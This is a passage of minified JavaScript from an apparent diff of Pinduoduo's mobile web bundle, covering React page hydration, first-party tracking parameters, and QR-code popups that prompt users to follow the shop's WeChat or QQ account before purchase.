n(""Pn5d""), + m = n(""3OsT""), + g = n.n(m), + v = n(""uf4C""), + _ = function() { + for (var e = arguments.length, t = new Array(e), n = 0; n < e; n++) + t[n] = arguments[n]; + var r = t.map(function(e) { + return e._insertCss() + }); + return function() { + return r.forEach(function(e) { + return e() + }) + } + }, + b = function() { + return v.a ? v.a.getInstance().getPageID() : Object(v.b)() + }, + y = { + forceWKWebviewBackRefresh: !0, + useStrict: !1 + }; + + function w(e) { + var t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : {}, + n = t.useStrict, + r = void 0 === n ? y.useStrict : n, + i = t.forceWKWebviewBackRefresh, + s = void 0 === i ? y.forceWKWebviewBackRefresh : i, + l = o()(t, [""useStrict"", ""forceWKWebviewBackRefresh""]); + r && (h.useStrict ? Object(h.useStrict)(!0) : Object(h.f)({ + enforceActions: !0 + })), + u.a.prepare(a()({ + requireLogin: e.appConfig.requireLogin, + shareInfo: { + disableShare: !0 + } + }, l), function() { + return function(e) { + var t = e.createStores(), + n = b(); + Object.keys(t).forEach(function(e) { + return t[e].fromJS((window.rawData || {})[e], { + pageId: n + }) + }), + 0; + p.a.hydrate(c.a.createElement(g.a.Provider, { + value: { + insertCss: _ + } + }, c.a.createElement(d.a, t, c.a.createElement(e, { + stores: Object.values(t), + pageInfo: { + pageId: n + } + }))), document.getElementById(""main"")) + }(e) + }), + s && f.a.isWKWebView && window.addEventListener(""pageshow"", function(e) { + e.persisted && location.reload() + }), + document.body.addEventListener(""touchstart"", function() {}) + } + }, + ""4Agm"": function(e, t) { + e.exports = '
    \r\n
    \r\n
    \r\n' + }, + ""4Mtu"": function(e, t, n) { + (e.exports = n(""I1BE"")(!1)).push([e.i, "".scroll-mask {\n background: #fff;\n opacity: 0;\n height: 100%;\n width: 100%;\n position: fixed;\n top: 0;\n left: 0;\n z-index: 999;\n}\n\n.scroll-container-hidden {\n display: none;\n}"", """"]) + }, + ""4x4s"": function(e, t, n) { + ""use strict""; + var r = n(""RIqP""), + a = n.n(r), + i = n(""b5fu""), + o = n(""tWR7""); + + function s(e, t) { + return [].concat(e).filter(function(e) { + return 0 === t.indexOf(e) + }).length + } + var c = function() { + for (var e = arguments.length, t = new Array(e), n = 0; n < e; n++) + t[n] = arguments[n]; + var r = i.a.extend.apply(i.a, t.concat([{ + page_el_sn: null, + page_id: null, + page_sn: null, + is_back: null, + msgid: null + }])), + a = {}; + for (var o in r) + !r.hasOwnProperty(o) || !s([""refer_share""], o) && s([""refer"", ""_x_"", ""_ex_""], o) || (a[o] = r[o]); + return a + }, + u = n(""ouH+""), + l = n(""xnWZ""), + p = n(""uf4C""), + d = n(""3OdE""), + h = function() { + var e = d.a.get(location.host); + return l.b.Current === l.b.WeChat ? e.AppID.WeChat : l.b.Current === l.b.Weibo ? e.AppID.Weibo : l.b.Current === l.b.QQ ? l.b.isNativePlatform() ? e.AppID.QQ : e.AppID.QQConnect : """" + }; + var f = function() { + return [Date.now(), i.a.getRandomString(16)].join("""") + }; + var m = function() { + var e = d.a.constant; + return localStorage.getItem(e.LocalStorageKey.UIN) || i.a.getCookieByName(e.CookieKey.UIN) + }; + var g = function() { + var e = localStorage.getItem(""WxCheckPdd""); + return null != e ? parseInt(e, 10) || 0 : e + }; + var v = function(e) { + var t = e || {}, + n = f(), + r = p.a.getInstance(), + a = { + log_id: n, + user_id: u.a.userID, + uin: m(), + app_id: h(), + platform: l.b.Current, + app_version: l.b.getAppVersion(), + time: n.substring(0, 13), + refer_page_name: r.getPageName(), + refer_page_id: r.getPageID(), + refer_page_sn: r.getPageSN(), + wx_check_pdd: g() + }; + a = i.a.extend(r.getKeyParams(), a), + i.a.merge(r.getExtendTransferParameters(!0), a), [""from""].forEach(function(e) { + var n = ""refer_channel_"" + e, + r = t[e] || o.a.getParameter(e); + r && (a[n] = r) + }), [""src"", ""campaign"", ""cid"", ""msgid"", ""scene""].forEach(function(e) { + var n = ""refer_"" + e, + r = t[e] || o.a.getParameter(e); + r && (a[n] = r) + }), [""refer_share_id"", ""refer_share_uid"", ""refer_share_channel"", ""refer_share_form""].forEach(function(e) { + var t = o.a.getParameter(e) || o.a.getParameter(e.slice(6)); + t && (a[e] = t) + }); + var s = { + _sid: ""refer_share_id"", + _suid: ""refer_share_uid"", + _sc: ""refer_share_channel"", + _sf: ""refer_share_form"" + }; + for (var c in s) { + var d = o.a.getParameter(c); + d && (a[s[c]] = d) + } + return a + }; + t.a = function() { + for (var e = { + api_uid: i.a.getCookieByName(""api_uid"") + }, t = arguments.length, n = new Array(t), r = 0; r < t; r++) + n[r] = arguments[r]; + var s = v(n[0]), + u = [].concat(e, n); + return o.a.buildQuery(c.apply(void 0, a()(u)), s) + } + }, + ""6qKh"": function(e, t, n) { + ""use strict""; + n.r(t); + var r = n(""q1tI""), + a = n.n(r), + i = n(""i8i4""), + o = n.n(i), + s = n(""b5fu""), + c = n(""3OdE"").a.constant.PromptType, + u = {}; + u[c.Default] = n(""K4Ed"").default, + ""undefined"" != typeof window && n(""cz+l""); + var l = null; + t.default = function() { + var e = {}, + t = function(t, n) { + var r = u[t.type]; + if (e[n] || !r) + l.show(); + else { + var i = document.createElement(""DIV""); + document.body.appendChild(i), + l = o.a.render(a.a.createElement(r, { + opts: t.options, + confirmCallback: t.confirmCallback, + cancelCallback: t.cancelCallback, + hideCallback: t.hideCallback + }), i), + e[n] = !0 + } + }; + return { + load: function(e) { + if (u[(e = e || {}).type]) { + var n = ""js-prompt"" + e.type; + e.isUnique || (n += Date.now()); + var r = function() { + t(e, n), + e.options && s.a.call(e.options.showCallback) + }; + e.options.delayLoad ? e.options.delayLoad(r, n) : r() + } + }, + show: t, + hide: function() {} + } + }() + }, + ""7xme"": function(e, t, n) { + ""use strict""; + var r = n(""xnWZ""), + a = n(""tWR7""), + i = n(""ii9O""), + o = n(""b5fu""), + s = n(""ouH+""), + c = n(""Fcpp""), + u = n(""uf4C""), + l = n(""kk8N""), + p = n(""qiMe""), + d = n(""IgcI""), + h = n(""u/J7""), + f = n(""iCc5""), + m = n.n(f), + g = n(""FYw3""), + v = n.n(g), + _ = n(""mRg0""), + b = n.n(_), + y = n(""q1tI""), + w = n.n(y), + S = n(""i8i4""), + C = n.n(S); + n(""CdBe""); + var A = !1, + I = function(e) { + function t(n) { + m()(this, t); + var a = v()(this, e.call(this, n)); + return a.componentDidMount = function() { + a.isAndroidPlatform() && window.addEventListener(""scroll"", a.disableClickWhenScrolling) + }, + a.isAndroidPlatform = function() { + return ""Android"" === (r.b.isMobile ? r.b.isMobile[0] : null) + }, + a.componentWillUnmount = function() { + window.removeEventListener(""scroll"", a.disableClickWhenScrolling) + }, + a.disableClickWhenScrolling = function() { + var e = a.props.interval || 200; + a.setState({ + isScrolling: !0 + }), + clearTimeout(a.scrollTimer), + a.scrollTimer = setTimeout(function() { + a.setState({ + isScrolling: !1 + }) + }, e) + }, + a.clickMask = function(e) { + e && (e.stopPropagation(), + e.preventDefault()) + }, + a.scrollTimer = null, + a.state = { + isScrolling: !1 + }, + a + } + return b()(t, e), + t.prototype.render = function() { + var e = this.state.isScrolling; + return w.a.createElement(""div"", { + className: e ? """" : ""scroll-container-hidden"" + }, e && w.a.createElement(""div"", { + className: ""scroll-mask"", + onClick: this.clickMask + })) + }, + t + }(y.Component); + I.initGlobal = function() { + if (!A) { + A = !0; + var e = document.createElement(""div""); + return e.id = ""global-disable-click"", + document.body.appendChild(e), + C.a.render(w.a.createElement(I, null), e) + } + }; + var k = I, + E = n(""3OdE""), + T = E.a.get(location.host), + N = { + changeTitleWithPararms: function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}, + t = e.title || T.shop.name + ""商城""; + if (document.title = t, + r.b.isNativePlatform() && r.b.isModuleVersion) + l.a.callNative(""JSUIControl"", ""setTitle"", Object.assign({}, e, { + title: t + })); + else if (r.b.isEmbeddedBrowser()) { + var n = document.createElement(""iframe""); + n.setAttribute(""src"", ""/favicon.ico""), + n.style.display = ""none"", + n.onload = function() { + setTimeout(function() { + document.body.removeChild(n) + }, 0) + }, + document.body.appendChild(n) + } + }, + changeTitle: function(e) { + this.changeTitleWithPararms({ + title: e + }) + } + }, + x = n(""/O6k""), + O = n(""u16y""), + D = { + Default: ""base/qrcode/v2/force_contact_touch_code_{0}.png"", + Resubscribe: ""base/qrcode/v2/re_force_contact_touch_code_{0}.png"", + GroupBanner: ""http://pddmaimg.pinduoduo.com/prod/2017-11-06/e087e969-eff7-4858-b0f2-5d6d6d0f9bb5.png"", + LuckyDraw: ""base/qrcode/v2/ld_force_contact_touch_code_{0}.png"", + FreeTrial: ""base/qrcode/v2/ft_force_contact_touch_code_{0}.png"", + NewUserGroup: ""base/qrcode/v2/nb_force_contact_touch_code_{0}.png"", + CapitalGift: ""base/qrcode/v2/cg_force_contact_touch_code_{0}.png"", + ABAlert: ""base/qrcode/v2/ab_force_contact_touch_code_{0}.png"", + GZH: ""base/qrcode/v2/gzh_force_contact_touch_code_{0}.png"", + LuckyWheel: ""base/qrcode/v2/lw_force_contact_touch_code_{0}.png"", + GPAlert: ""base/qrcode/v2/gp_force_contact_touch_code_{0}.png"", + SMAlert: ""base/qrcode/v2/sm_force_contact_touch_code_2.png"", + PPAlert: ""base/qrcode/v2/pp_force_contact_touch_code_{0}.png"", + PortalSubscribeTopBanner: ""base/qrcode/stb/portal_force_contact_touch_code_{0}.png"", + GoodsSubscribeTopBanner: ""base/qrcode/stb/goods_force_contact_touch_code_{0}.png"", + NewYearSubscribeTopBanner: ""base/qrcode/stb/new_year_force_contact_touch_code_{0}.png"", + CouponShareSubscribeTopBanner: ""base/qrcode/stb/coupon_share_force_contact_touch_code_{0}.png"", + BirthpetJoinGame: ""base/qrcode/birthpet/fc_join_game_{0}.png"", + BirthpetShareCard: ""base/qrcode/birthpet/fc_share_card_{0}.png"", + GroupShareForceContact: ""http://pddmaimg.pinduoduo.com/prod/2017-11-06/d9a1a301-678a-491f-a4e0-b6c0d4eb4fe2.png"", + ReceiveRedPacket: ""base/qrcode/v2/receive_red_packet_touch_code_{0}.png"", + FreeGroupForceContact: ""base/qrcode/v2/help_free_group.png"" + }, + P = { + Default: ""为了接收发货通知,请先关注{0}"", + LuckyWheel: ""为了接收中奖通知,请先关注{0}"", + Portal: ""关注{0},尽享特价优惠"" + }, + R = n(""fhzG""), + M = n.n(R); + n(""UUTy""); + var L = D, + U = P, + W = E.a.constant, + B = E.a.get(location.host), + G = M()({ + getInitialState: function() { + return { + style: { + display: """" + }, + imgUrl: """", + shopName: B.shop.name, + userId: """", + html: function() {} + } + }, + getDefaultProps: function() { + return { + type: """", + eventType: """", + pageName: """", + abTest: !1, + abTestForceContactSubTitle: !1 + } + }, + componentWillMount: function() { + var e = this.props, + t = O.a.getCDNImgURL(o.a.format(L.Default, B.AppID.WeChat + """")), + n = parseInt(e.eventType, 10) || 0; + e.type === W.QRCodeType.SMAlert ? t = e.smAlertUrl || O.a.getCDNImgURL(L.SMAlert) : e.qrCodeUrl ? t = e.qrCodeUrl : r.b.isWeChatPlatform() && 2 === B.AppID.WeChat ? e.type === W.QRCodeType.Resubscribe ? (t = o.a.format(L.Resubscribe, B.AppID.WeChat + """"), + t = O.a.getCDNImgURL(t)) : e.type === W.QRCodeType.GroupBanner ? t = L.GroupBanner : e.type === W.QRCodeType.ABAlert ? (t = o.a.format(L.ABAlert, B.AppID.WeChat + """"), + t = O.a.getCDNImgURL(t)) : e.type === W.QRCodeType.NewUserGroup ? (t = o.a.format(L.NewUserGroup, B.AppID.WeChat + """"), + t = O.a.getCDNImgURL(t)) : e.type === W.QRCodeType.AfterpayAlert ? (t = o.a.format(L.ABAlert, B.AppID.WeChat + """"), + t = O.a.getCDNImgURL(t)) : e.type === W.QRCodeType.GPAlert ? (t = o.a.format(L.GPAlert, B.AppID.WeChat + """"), + t = O.a.getCDNImgURL(t)) : e.type === W.QRCodeType.PPAlert ? (t = o.a.format(L.PPAlert, B.AppID.WeChat + """"), + t = O.a.getCDNImgURL(t)) : e.type === W.QRCodeType.GroupShareForceContact ? t = L.GroupShareForceContact : [W.QRCodeType.PortalSubscribeTopBanner, W.QRCodeType.GoodsSubscribeTopBanner, W.QRCodeType.NewYearSubscribeTopBanner, W.QRCodeType.CouponShareSubscribeTopBanner].indexOf(e.type) >= 0 ? (t = o.a.format(L[e.type], B.AppID.WeChat + """"), + t = O.a.getCDNImgURL(t)) : n === W.EVENT_TYPE.LUCKY_DRAW ? (t = o.a.format(L.LuckyDraw, B.AppID.WeChat + """"), + t = O.a.getCDNImgURL(t)) : n === W.EVENT_TYPE.FREE_TRIAL ? (t = o.a.format(L.FreeTrial, B.AppID.WeChat + """"), + t = O.a.getCDNImgURL(t)) : [W.EVENT_TYPE.CAPITAL_GIFT, W.EVENT_TYPE.CAPITAL_GIFT_LOTTERY].indexOf(n) >= 0 && (t = o.a.format(L.CapitalGift, B.AppID.WeChat + """"), + t = O.a.getCDNImgURL(t)) : r.b.isQQPlatform() && (t = o.a.format(L.Default, B.AppID.QQPublic + """"), + t = O.a.getCDNImgURL(t)), + r.b.isWeChatPlatform() && (e.type === W.QRCodeType.GroupBanner ? t = L.GroupBanner : e.type === W.QRCodeType.GroupShareForceContact ? t = L.GroupShareForceContact : e.type === W.QRCodeType.FreeGroupForceContact && (t = O.a.getCDNImgURL(L.FreeGroupForceContact))), + this.setState({ + imgUrl: t, + userId: o.a.getSelfUID() + }) + }, + hide: function() { + d.default.enableScroll(), + this.props.closeCallback && o.a.call(this.props.closeCallback), + this.setState({ + style: { + display: ""none"" + } + }) + }, + forwardDownloadAPP: function() { + i.a.forward(""download.html?"" + a.a.buildQuery({ + src: ""weixin"", + campaign: ""gzh"", + cid: ""after_pay_force_contact"" + })) + }, + showTemplate: function() { + var e = this.props.pageName, + t = this.props.eventType, + n = (this.props.abTest, + t === W.EventType.FreeTrial || W.EventType.Lottery, + this.props.abTestForceContactSubTitle, + this.props.type), + r = this.state, + a = n === W.QRCodeType.PPAlert, + i = a || n === W.QRCodeType.GroupShareForceContact, + s = o.a.format(U[a ? ""Portal"" : ""Default""], B.shop.name), + c = a ? ""长按指纹"" : ""请长按此处指纹"", + u = ""长按指纹识别二维码, 关注"" + B.shop.name, + l = w.a.createElement(""p"", { + className: ""force-contact-desc"" + }, ""关注后继续购买, 才能接收发货通知""), + p = w.a.createElement(""div"", { + className: ""force-contact-main"", + style: r.style + }, w.a.createElement(""p"", { + className: ""user-id"" + }, r.userId), w.a.createElement(""div"", { + className: ""force-contact-banner"" + }, w.a.createElement(""div"", { + className: ""icon icon-close force-contact-close-button"", + onClick: this.hide, + style: { + display: i ? """" : ""none"" + } + })), w.a.createElement(""div"", { + className: ""force-contact-content"" + }, w.a.createElement(""p"", { + className: ""force-contact-tips"" + }, s), w.a.createElement(""p"", { + className: ""force-contact-desc"" + }, w.a.createElement(""b"", null, c), a || "","", ""识别二维码并关注""), w.a.createElement(""div"", { + className: ""force-contact-touch"" + }, w.a.createElement(""img"", { + src: r.imgUrl + })), w.a.createElement(""div"", { + className: ""force-contact-arrow-new"" + }))); + if (""group_detail"" === e) { + var d = this.props.data || {}, + h = d.avatars || {}, + f = (h.className || """") + "" "" + (d.className || """"), + m = d.tipContent || w.a.createElement(""p"", { + className: ""force-contact-tips"" + }, d.tip || u); + p = ""function"" == typeof d.resetUiForce ? d.resetUiForce(d, scope, { + subContent: l, + canClosed: i, + tipContent: m + }) : w.a.createElement(""div"", { + className: ""force-contact-main "" + f, + style: r.style + }, w.a.createElement(""p"", { + className: ""user-id"" + }, r.userId), d.fullContent || null, w.a.createElement(""div"", { + className: ""force-contact-content_new"" + }, i && w.a.createElement(""div"", { + className: ""fc-close-btn"", + onClick: this.hide + }), h.content, m, d.subContent || l, d.imgContent || w.a.createElement(""img"", { + className: ""receive-red-packet-contact-touch"", + src: r.imgUrl + }), w.a.createElement(""div"", { + className: ""scan-line"" + }))) + } + if (""goods_comments"" === e) { + var g = this.props.data || {}, + v = g.tipContent || w.a.createElement(""p"", { + className: ""force-contact-tips"" + }, g.tip || u); + p = w.a.createElement(""div"", { + className: ""force-contact-main"", + style: r.style + }, w.a.createElement(""p"", { + className: ""user-id"" + }, r.userId), w.a.createElement(""div"", { + className: ""force-contact-content_new"" + }, i && w.a.createElement(""div"", { + className: ""fc-close-btn"", + onClick: this.hide + }), v, l, w.a.createElement(""img"", { + className: ""receive-red-packet-contact-touch"", + src: r.imgUrl + }), w.a.createElement(""div"", { + className: ""scan-line"" + }))) + } + return n === W.QRCodeType.ABAlert ? p = w.a.createElement(""div"", { + className: ""force-contact-main"", + style: r.style + }, w.a.createElement(""div"", { + className: ""ab-force-contact-content"" + }, w.a.createElement(""div"", { + className: ""ab-close-button"", + onClick: this.hide + }), w.a.createElement(""div"", { + className: ""ab-tick"" + }), w.a.createElement(""p"", { + className: ""ab-after-pay"" + }, ""支付成功""), w.a.createElement(""div"", { + className: ""ab-line"" + }), w.a.createElement(""div"", { + className: ""ab-force-contact-download"", + onClick: this.forwardDownloadAPP + }, w.a.createElement(""span"", null, ""前往"", r.shopName, "" App 跟踪物流"")))) : n === W.QRCodeType.AfterpayAlert && (p = w.a.createElement(""div"", { + className: ""force-contact-main"", + style: r.style + }, w.a.createElement(""div"", { + className: ""afterpay-contact-content"" + }, w.a.createElement(""div"", { + className: ""ab-tick"" + }), w.a.createElement(""p"", { + className: ""ab-after-pay"" + }, ""支付成功""), w.a.createElement(""p"", { + className: ""ab-force-contact-tips"" + }, ""建议关注"", r.shopName), w.a.createElement(""p"", { + className: ""ab-force-contact-desc"" + }, ""关注后才能收到发货通知哦~""), w.a.createElement(""img"", { + className: ""ab-force-contact-touch"", + src: r.imgUrl + }), w.a.createElement(""div"", { + className: ""ab-force-contact-arrow-new"" + }), w.a.createElement(""div"", { + className: ""extra-hint"" + }, w.a.createElement(""b"", null, ""长按指纹""), ""识别二维码来关注"")))), + p + }, + render: function() { + return this.showTemplate() + } + }), + Q = { + Title: ""请回到QQ首页搜索关注拼多多"", + GifUrl: ""base/qq/fc_search.gif"" + }, + j = { + Title: ""请回到微信首页搜索关注拼多多"", + GifUrl: ""base/wechat/fc_search_v3.gif"" + }, + q = ""data:image/png;base64,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"", + V = M()({ + getInitialState: function() { + return { + retryCnt: 0 + } + }, + componentWillMount: function() { + var e = r.b.isQQPlatform(); + this.GifUrl = O.a.getCDNImgURL(e ? Q.GifUrl : j.GifUrl), + this.setState({ + title: e ? Q.Title : j.Title, + gifUrl: this.GifUrl + }), + d.default.disableScroll() + }, + componentDidMount: function() { + n(""o1JZ"") + }, + onGifLoadFailed: function() { + this.setState({ + retryCnt: this.state.retryCnt + 1, + gifUrl: this.GifUrl + ""?retry="" + this.state.retryCnt + }) + }, + render: function() { + return w.a.createElement(""div"", { + className: ""fc-search-popup"" + }, w.a.createElement(""div"", { + className: ""panel"" + }, w.a.createElement(""p"", { + className: ""title"" + }, this.state.title), w.a.createElement(""p"", { + className: ""hint"" + }, ""为了接收发货通知,购买前需先关注""), w.a.createElement(""div"", { + className: ""gif-area"" + }, w.a.createElement(""img"", { + className: ""loading-icon"", + src: q + }), w.a.createElement(""img"", { + className: ""source"", + src: this.state.gifUrl, + onError: this.onGifLoadFailed + })))) + } + }), + F = E.a.constant, + K = {}; + K = E.a.get(location.host); + var H, z = { + prepareQQSDK: function(e, t) { + var n = null, + r = Math.random().toString().substring(2), + i = Date.now().toString(), + s = ""qq/jsapi/signature?"" + a.a.buildQuery({ + noncestr: r, + timestamp: i, + url: location.href.split(""#"")[0], + open_app_id: K.ApiKey.QQPublic + }); + x.a.apiRequest(""GET"", s, null, function(a) { + n = a.signature, + function() { + if (null != window.mqq && null != n) { + if (window.qqReady = !0, + o.a.call(t, !0), + ""function"" == typeof window.qqAfterReady) + o.a.call(window.qqAfterReady); + else if (o.a.isArray(window.qqAfterReady)) + for (; window.qqAfterReady.length > 0;) + o.a.call(window.qqAfterReady.pop()); + window.qqAfterReady = null, + mqq.config({ + debug: !1, + appId: K.ApiKey.QQPublic, + timestamp: i, + nonceStr: r, + signature: n, + jsApiList: [""showMenuItems"", ""hideMenuItems"", ""onMenuShareAppMessage"", ""onMenuShareTimeline"", ""onMenuShareQQ"", ""onMenuShareQZone"", ""previewImage"", ""chooseImage"", ""uploadImage"", ""getLocation""] + }), + mqq.ready(function() { + var t = [""menuItem:share:appMessage"", ""menuItem:share:qq"", ""menuItem:share:QZone""], + n = [""menuItem:favorite"", ""menuItem:openWithSafari"", ""menuItem:openWithQQBrowser"", ""menuItem:share:email""], + r = K.shop.weChatTimelineShareDisabled; + K.shop.qqTimelineShareDisabled ? n.push(""menuItem:share:timeline"") : null != r && r && !e ? n.push(""menuItem:share:timeline"") : t.push(""menuItem:share:timeline""), + mqq.hideMenuItems({ + menuList: n + }), + mqq.showMenuItems({ + menuList: t + }) + }), + mqq.error(function(e) { + o.a.call(t, !1) + }) + } + }() + }) + }, + qqForwardContact: function(e) { + e = e || K.QQContactUrl; + var t = { + link: location.href + }; + o.a.saveToLocalStorage(F.LocalStorageKey.LastVisitData, JSON.stringify(t)), + setTimeout(function() { + location.href = e + }, 0) + }, + qqForwardForceContact: function(e, t, n) { + e = e || {}; + t = t || K.QQContactUrl, + e.notTester ? e.isNormal && c.a.trackingRecord({ + event_type: ""force_contact_normal_navigation"", + url: location.href + }) : c.a.trackingRecord({ + event_type: ""force_contact_test_navigation"", + url: location.href + }); + var r = F.QRCodeType.DefaultV2; + e.resubscribe ? r = F.QRCodeType.Resubscribe : e.isNewUserGroup && (r = F.QRCodeType.NewUserGroup), + this.setLastVisitData(), + this.qqForceContactStrategy({ + type: r, + eventType: n, + trackingParams: e.trackingParams, + isShowButton: e.isShowButton, + isServiceDataCard: e.isServiceDataCard, + qrCodeUrl: e.qrCodeUrl, + ABTest: e.ABTest + }) + }, + qqForceContactStrategy: function(e) { + var t = (e = e || {}).ABTest; + if (e.ABTest) { + var n = t.result(s.a.userID, !0, K.AppID.QQPublic), + r = { + op: ""impr"", + page_section: ""subscribe_popup"", + page_el_sn: e.isShowButton ? ""98997"" : ""99565"" + }; + n.isQRCode ? r.style = ""qrcode"" : n.isSearch ? r.style = ""search"" : n.isMP ? r.style = ""mp"" : n.isLink && (r.style = ""link""), + c.a.trackingRecord(o.a.extend(e.trackingParams || {}, r, { + page_name: e.pageName || """" + })); + var a = document.createElement(""DIV""); + n.isQRCode ? (document.body.appendChild(a), + C.a.render(w.a.createElement(G, { + type: e.type, + eventType: e.eventType + }), a)) : n.isSearch ? (document.body.appendChild(a), + C.a.render(w.a.createElement(V, null), a)) : n.isMP ? setTimeout(function() { + location.href = e.mpUrl || n.mpUrl + }, 0) : n.isLink && d.default.showJSAlert(F.AlertType.Alert.FCLink, function() { + location.href = e.link || n.link + }, null, null, {}) + } + }, + qqContactTesterForward: function(e, t) { + var n = K.QQContactUrl; + !((parseInt(t, 10) || 0) === F.EVENT_TYPE.LUCKY_DRAW) && K.ForceContactUrl && (n = K.QQContactUrl); + var r = { + goods_id: e.goodsID + }; + e.groupID && (r.group_id = e.groupID), + e.groupOrderID ? r.group_order_id = e.groupOrderID : e.wtID && (r.wt_id = e.wtID), + this.qqForwardForceContact(e, n, t) + }, + qqForceContact: function(e, t) { + if (r.b.isQQPlatform()) { + t = t || {}; + var n = F.ContactURLType.HighPrice, + i = r.b.isMobile ? r.b.isMobile[0] : null, + s = """"; + ""iPhone"" === i ? s = ""ios"" : ""Android"" === i && (s = ""android""); + var c = { + contact_url_type: n, + check_is_active: ""1"", + check_app_login: t.checkAppLogin ? ""1"" : null, + check_app_login_contain_mobile: ""1"", + check_new_app: ""1"", + check_sub_content: ""1"", + platform: s + }; + x.a.apiRequest(""GET"", ""user/me?"" + a.a.buildQuery(c), null, function(t) { + var n = parseInt(t.uid, 10); + localStorage.getItem(F.LocalStorageKey.UID) || o.a.saveToLocalStorage(F.LocalStorageKey.UID, n.toString(36)), + t.is_subscribed ? o.a.call(e, t) : o.a.call(e, t, !0, !0, n) + }, function(t) { + o.a.call(e, t) + }) + } else + o.a.call(e) + }, + doAfterQQReady: function(e) { + window.qqAfterReady || !r.b.isQQPlatform() ? o.a.call(e) : (window.qqAfterReady = window.qqAfterReady || [], + window.qqAfterReady.push(e)) + } + }, + J = E.a.constant, + Y = E.a.get(location.host), + Z = [""addDownloadTask"", ""showMenuItems"", ""hideMenuItems"", ""onMenuShareAppMessage"", ""onMenuShareTimeline"", ""onMenuShareQQ"", ""onMenuShareQZone"", ""onMenuShareWeibo"", ""addCard"", ""chooseCard"", ""openCard"", ""previewImage"", ""editAddress"", ""chooseImage"", ""uploadImage"", ""getLocation"", ""openAddress"", ""getInstallState"", ""launch3rdApp"", ""launchApplication"", ""startRecord"", ""stopRecord"", ""uploadVoice""], + X = { + SHARE_SESSION: ""menuItem:share:appMessage"", + SHARE_QQ: ""menuItem:share:qq"", + SHARE_QZONE: ""menuItem:share:QZone"", + SHARE_QQ_WEIBO: 